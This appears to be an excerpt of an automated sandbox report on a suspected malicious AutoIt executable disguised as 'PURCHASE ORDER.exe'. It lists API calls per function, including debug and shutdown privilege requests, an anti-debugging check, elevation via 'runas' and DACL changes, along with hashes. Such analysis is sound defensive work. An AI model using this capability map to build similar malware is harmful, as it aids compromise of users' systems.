                                                                          • Instruction ID: 730b2dca1b6b09bd6b76555d3316dee95f4818bcffb97f26f8f03165767cfd2f
                                                                          • Opcode Fuzzy Hash: 1623bec2b974bb3ee5261838648fb58b2a9d6db5aa255760d49714c370e47f4e
                                                                          • Instruction Fuzzy Hash: 30416676604340ABE330EB64DC49FEF73E8AFD8714F00891EF649921D1E7B4A645876A
                                                                          Function 00464422 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 193threadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00444233: _wcslen.LIBCMT ref: 0044424E
                                                                          • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0046449E
                                                                          • GetLastError.KERNEL32 ref: 004644B4
                                                                          • GetCurrentThread.KERNEL32 ref: 004644C8
                                                                          • OpenThreadToken.ADVAPI32(00000000), ref: 004644CF
                                                                          • GetCurrentProcess.KERNEL32(00000028,?), ref: 004644E0
                                                                          • OpenProcessToken.ADVAPI32(00000000), ref: 004644E7
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: OpenProcess$CurrentThreadToken$ErrorLast_wcslen
                                                                          • String ID: SeDebugPrivilege
                                                                          • API String ID: 1312810259-2896544425
                                                                          • Opcode ID: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                                                                          • Instruction ID: c3f5e6af55eb0da9fa74db60d4f5a84adac3a89a74612fbe59a223ef38337450
                                                                          • Opcode Fuzzy Hash: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                                                                          • Instruction Fuzzy Hash: 0E51A171200201AFD710DF65DD85F5BB7A8AB84704F10892EFB44DB2C1D7B8E844CBAA
                                                                          Function 0040D6D0 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 141windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetCurrentDirectoryW.KERNEL32(00000104,?,00000001,?,00000000), ref: 0040D6E5
                                                                            • Part of subcall function 00401F80: GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\PURCHASE ORDER.exe,00000104,?,?,?,?,00000000), ref: 00401FAD
                                                                            • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 00402078
                                                                            • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 0040208E
                                                                            • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020A4
                                                                            • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020BA
                                                                            • Part of subcall function 00401F80: _wcscpy.LIBCMT ref: 004020EF
                                                                          • IsDebuggerPresent.KERNEL32(?), ref: 0040D6F1
                                                                          • GetFullPathNameW.KERNEL32(C:\Users\user\Desktop\PURCHASE ORDER.exe,00000104,?,004A7CF8,004A7CFC), ref: 0040D763
                                                                            • Part of subcall function 00401440: GetFullPathNameW.KERNEL32(?,00000104,?,00000000), ref: 00401483
                                                                          • SetCurrentDirectoryW.KERNEL32(?,00000001,C:\Users\user\Desktop\PURCHASE ORDER.exe,00000004), ref: 0040D7D6
                                                                          • MessageBoxA.USER32(00000000,This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.,004846D6,00000010), ref: 00431AAB
                                                                          • SetCurrentDirectoryW.KERNEL32(?,C:\Users\user\Desktop\PURCHASE ORDER.exe,00000004), ref: 00431B0E
                                                                          • GetModuleFileNameW.KERNEL32(00000000,?,00000104,C:\Users\user\Desktop\PURCHASE ORDER.exe,00000004), ref: 00431B3F
                                                                          • GetForegroundWindow.USER32(runas,?,?,?,00000001), ref: 00431B8B
                                                                          • ShellExecuteW.SHELL32(00000000), ref: 00431B92
                                                                            • Part of subcall function 004101F0: GetSysColorBrush.USER32(0000000F), ref: 004101F9
                                                                            • Part of subcall function 004101F0: LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                                                                            • Part of subcall function 004101F0: LoadIconW.USER32(?,00000063), ref: 0041021F
                                                                            • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A4), ref: 00410232
                                                                            • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A2), ref: 00410245
                                                                            • Part of subcall function 004101F0: LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                                                                            • Part of subcall function 004101F0: RegisterClassExW.USER32 ref: 004102C6
                                                                            • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
                                                                            • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                                                                            • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 00410454
                                                                            • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 0041045E
                                                                            • Part of subcall function 0040E1E0: _memset.LIBCMT ref: 0040E202
                                                                            • Part of subcall function 0040E1E0: Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: LoadWindow$IconName__wcsicoll$CurrentDirectory$CreateFileFullModulePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memset_wcscpy
                                                                          • String ID: @GH$@GH$C:\Users\user\Desktop\PURCHASE ORDER.exe$This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.$runas
                                                                          • API String ID: 2493088469-2339826415
                                                                          • Opcode ID: 69cfb0be49d24e5250ef6e64c59b5ea2b0a961f7c54b5140d3e7fdea8d41d4c7
                                                                          • Instruction ID: f6e0ab4c143dd9a1f797559286fb6c41f0380d60009eb7dc722615656bf0e84e
                                                                          • Opcode Fuzzy Hash: 69cfb0be49d24e5250ef6e64c59b5ea2b0a961f7c54b5140d3e7fdea8d41d4c7
                                                                          • Instruction Fuzzy Hash: 0341F731618341ABD320F7A19C49BAF3BA4AB96704F04493FF941672D1DBBC9949C72E
                                                                          Function 004037E0 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 359COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                          • GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00403871
                                                                          • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00403887
                                                                          • __wsplitpath.LIBCMT ref: 004038B2
                                                                            • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                          • _wcscpy.LIBCMT ref: 004038C7
                                                                          • _wcscat.LIBCMT ref: 004038DC
                                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 004038EC
                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                            • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                            • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                            • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                            • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,0040397D,?,?,00000010), ref: 00403F54
                                                                            • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,00000010), ref: 00403F8B
                                                                          • _wcscpy.LIBCMT ref: 004039C2
                                                                          • _wcslen.LIBCMT ref: 00403A53
                                                                          • _wcslen.LIBCMT ref: 00403AAA
                                                                          Strings
                                                                          • Error opening the file, xrefs: 0042B8AC
                                                                          • _, xrefs: 00403B48
                                                                          • Unterminated string, xrefs: 0042B9BA
                                                                          • #include depth exceeded. Make sure there are no recursive includes, xrefs: 0042B87B
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _wcslen$ByteCharCurrentDirectoryMultiWide_wcscpy$Exception@8FullNamePathThrow__wsplitpath__wsplitpath_helper_malloc_wcscatstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                          • String ID: #include depth exceeded. Make sure there are no recursive includes$Error opening the file$Unterminated string$_
                                                                          • API String ID: 4115725249-188983378
                                                                          • Opcode ID: 3d47019ae40ddf295a6fa6cd32c8ae21ab53d4334480ddcc4f0e34d1fe96fec4
                                                                          • Instruction ID: dca64db042171ec5605b2d10b6a92a42a2076cc25022adee7b8115af8a15fc96
                                                                          • Opcode Fuzzy Hash: 3d47019ae40ddf295a6fa6cd32c8ae21ab53d4334480ddcc4f0e34d1fe96fec4
                                                                          • Instruction Fuzzy Hash: 16D1D5B15083019AD710EF65C841AEB77E8AF95308F04492FF5C563292DB78DA49C7AB
                                                                          Function 00434BEE Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 139fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • FindFirstFileW.KERNEL32(?,?), ref: 00434C12
                                                                          • GetFileAttributesW.KERNEL32(?), ref: 00434C4F
                                                                          • SetFileAttributesW.KERNEL32(?,?), ref: 00434C65
                                                                          • FindNextFileW.KERNEL32(00000000,?), ref: 00434C77
                                                                          • FindClose.KERNEL32(00000000), ref: 00434C88
                                                                          • FindClose.KERNEL32(00000000), ref: 00434C9C
                                                                          • FindFirstFileW.KERNEL32(*.*,?), ref: 00434CB7
                                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 00434CFE
                                                                          • SetCurrentDirectoryW.KERNEL32(0048A090), ref: 00434D22
                                                                          • FindNextFileW.KERNEL32(00000000,00000010), ref: 00434D2A
                                                                          • FindClose.KERNEL32(00000000), ref: 00434D35
                                                                          • FindClose.KERNEL32(00000000), ref: 00434D43
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                                                          • String ID: *.*
                                                                          • API String ID: 1409584000-438819550
                                                                          • Opcode ID: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                                                                          • Instruction ID: 399dbb17912f16e5170155dcc5475d9346bc7ba5aa4a4c8a0ea4d4714b2c7a66
                                                                          • Opcode Fuzzy Hash: 55a9fa3bdb603958be151e0ad833d8004315071fb05557dfda8e1c4e562a15c1
                                                                          • Instruction Fuzzy Hash: 4141D8726042086BD710EF64DC45AEFB3A8AAC9311F14592FFD54C3280EB79E915C7B9
                                                                          Function 00444078 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 94timesleepCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Timetime$Sleep
                                                                          • String ID: BUTTON
                                                                          • API String ID: 4176159691-3405671355
                                                                          • Opcode ID: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
                                                                          • Instruction ID: 32c89cc89acb3c111fc3cc5f781edb0c57d51ec263d79eeef99f8852f1a29925
                                                                          • Opcode Fuzzy Hash: c9fcf2e0d9fa6a0073e84c27d550d5c6e5d49d4b0adb2218bf3fff485548fdb5
                                                                          • Instruction Fuzzy Hash: CB21B7723843016BE330DB74FD4DF5A7B94A7A5B51F244876F600E6290D7A5D442876C
                                                                          Function 00445DD3 Relevance: 18.2, APIs: 12, Instructions: 179COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 004392DE
                                                                            • Part of subcall function 004392BC: GetLastError.KERNEL32 ref: 004392E4
                                                                            • Part of subcall function 004392BC: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0043930B
                                                                            • Part of subcall function 0043928B: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004392A5
                                                                          • GetSecurityDescriptorDacl.ADVAPI32(?,00000004,?,?,?,?), ref: 00445E4B
                                                                          • _memset.LIBCMT ref: 00445E61
                                                                          • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00445E83
                                                                          • GetLengthSid.ADVAPI32(?), ref: 00445E92
                                                                          • GetAce.ADVAPI32(?,00000000,?,?,00000018), ref: 00445EDE
                                                                          • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00445EFB
                                                                          • GetLengthSid.ADVAPI32(?,?,00000018), ref: 00445F11
                                                                          • GetLengthSid.ADVAPI32(?,00000008,?,?,00000000,?,00000000), ref: 00445F39
                                                                          • CopySid.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00445F40
                                                                          • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?,?,00000000,?,00000000), ref: 00445F6E
                                                                          • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000,?,00000000,?,00000000), ref: 00445F8B
                                                                          • SetUserObjectSecurity.USER32(?,?,?), ref: 00445FA0
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                                          • String ID:
                                                                          • API String ID: 3490752873-0
                                                                          • Opcode ID: b11fc48791dee11005ef1ac308328aec1e94b5ee495351b15ab77ecbbd68b2cc
                                                                          • Instruction ID: 491154c1e478dcf6c9ac3cbca3c2c9e2645d4ee7bbdc2abf5fae4ada557f6fe4
                                                                          • Opcode Fuzzy Hash: b11fc48791dee11005ef1ac308328aec1e94b5ee495351b15ab77ecbbd68b2cc
                                                                          • Instruction Fuzzy Hash: 85519D71108301ABD610DF61CD84E6FB7E9AFC9B04F04491EFA869B242D778E909C76B
                                                                          Function 0047A999 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 288comCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • OleInitialize.OLE32(00000000), ref: 0047AA03
                                                                          • CLSIDFromProgID.OLE32(00000000,?), ref: 0047AA27
                                                                          • CoCreateInstance.OLE32(?,00000000,00000005,004829C0,?), ref: 0047AAAA
                                                                          • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 0047AB6B
                                                                          • _memset.LIBCMT ref: 0047AB7C
                                                                          • _wcslen.LIBCMT ref: 0047AC68
                                                                          • _memset.LIBCMT ref: 0047ACCD
                                                                          • CoCreateInstanceEx.OLE32 ref: 0047AD06
                                                                          • CoSetProxyBlanket.OLE32(004829D0,?,?,?,?,?,?,00000800), ref: 0047AD53
                                                                          Strings
                                                                          • NULL Pointer assignment, xrefs: 0047AD84
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CreateInitializeInstance_memset$BlanketFromProgProxySecurity_wcslen
                                                                          • String ID: NULL Pointer assignment
                                                                          • API String ID: 1588287285-2785691316
                                                                          • Opcode ID: 40e9c8eb680feb4042e694522f3113d29542bf103086fe34e1494599e09369de
                                                                          • Instruction ID: 16786b45dbc5194aa398acfc0f0ff3b91b98a178c64a073a91da7f4e0cb75f58
                                                                          • Opcode Fuzzy Hash: 40e9c8eb680feb4042e694522f3113d29542bf103086fe34e1494599e09369de
                                                                          • Instruction Fuzzy Hash: 54B10DB15083409FD320EF65C881B9FB7E8BBC8744F108E2EF58997291D7759948CB66
                                                                          Function 004364AA Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 79shutdownCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetCurrentProcess.KERNEL32(00000028,?), ref: 004364B9
                                                                          • OpenProcessToken.ADVAPI32(00000000), ref: 004364C0
                                                                          • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004364D6
                                                                          • AdjustTokenPrivileges.ADVAPI32 ref: 004364FE
                                                                          • GetLastError.KERNEL32 ref: 00436504
                                                                          • ExitWindowsEx.USER32(?,00000000), ref: 00436527
                                                                          • InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000001), ref: 00436557
                                                                          • SetSystemPowerState.KERNEL32(00000001,00000000), ref: 0043656A
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ProcessSystemToken$AdjustCurrentErrorExitInitiateLastLookupOpenPowerPrivilegePrivilegesShutdownStateValueWindows
                                                                          • String ID: SeShutdownPrivilege
                                                                          • API String ID: 2938487562-3733053543
                                                                          • Opcode ID: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                                                                          • Instruction ID: b625d7910520021a286729d09db348b3c4b0b131b75d5259d4bd29649b467962
                                                                          • Opcode Fuzzy Hash: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                                                                          • Instruction Fuzzy Hash: E021D5B02803017FF7149B64DD4AF6B3398EB48B10F948829FE09852D2D6BDE844973D
                                                                          Function 0043614F Relevance: 16.6, APIs: 11, Instructions: 103COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __swprintf.LIBCMT ref: 00436162
                                                                          • __swprintf.LIBCMT ref: 00436176
                                                                            • Part of subcall function 0041353A: __woutput_l.LIBCMT ref: 0041358F
                                                                          • __wcsicoll.LIBCMT ref: 00436185
                                                                          • FindResourceW.KERNEL32(?,?,0000000E), ref: 004361A6
                                                                          • LoadResource.KERNEL32(?,00000000), ref: 004361AE
                                                                          • LockResource.KERNEL32(00000000), ref: 004361B5
                                                                          • FindResourceW.KERNEL32(?,?,00000003), ref: 004361DA
                                                                          • LoadResource.KERNEL32(?,00000000), ref: 004361E4
                                                                          • SizeofResource.KERNEL32(?,00000000), ref: 004361F0
                                                                          • LockResource.KERNEL32(?), ref: 004361FD
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Resource$FindLoadLock__swprintf$Sizeof__wcsicoll__woutput_l
                                                                          • String ID:
                                                                          • API String ID: 2406429042-0
                                                                          • Opcode ID: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                                                                          • Instruction ID: 79d88324f8a28cdfdddc37bd7103cac5134eefaeeaedb246b69d205017f9fa0d
                                                                          • Opcode Fuzzy Hash: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                                                                          • Instruction Fuzzy Hash: 82313432104210BFD700EF64ED88EAF77A9FB89304F00882BFA4196150E778D940CB68
                                                                          Function 0045D517 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 91COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetErrorMode.KERNEL32(00000001), ref: 0045D522
                                                                          • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,?), ref: 0045D593
                                                                          • GetLastError.KERNEL32 ref: 0045D59D
                                                                          • SetErrorMode.KERNEL32(?), ref: 0045D629
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Error$Mode$DiskFreeLastSpace
                                                                          • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                                          • API String ID: 4194297153-14809454
                                                                          • Opcode ID: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
                                                                          • Instruction ID: 49a1caac5541b587bc648ef7caa6256b54369420b38b3993b587487a6931f65b
                                                                          • Opcode Fuzzy Hash: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
                                                                          • Instruction Fuzzy Hash: BA31AD75A083009FC310EF55D98090BB7E1AF89315F448D6FF94997362D778E9068B6A
                                                                          Function 0047AD92 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251comCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • MkParseDisplayName.OLE32(?,00000000,?,?), ref: 0047AF0F
                                                                            • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                            • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                            • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                            • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                          • OleInitialize.OLE32(00000000), ref: 0047AE06
                                                                            • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                            • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                          • _wcslen.LIBCMT ref: 0047AE18
                                                                          • CreateBindCtx.OLE32(00000000,?), ref: 0047AEC2
                                                                          • CLSIDFromProgID.OLE32(00000000,?,?), ref: 0047AFCC
                                                                          • GetActiveObject.OLEAUT32(?,00000000,?), ref: 0047AFF9
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
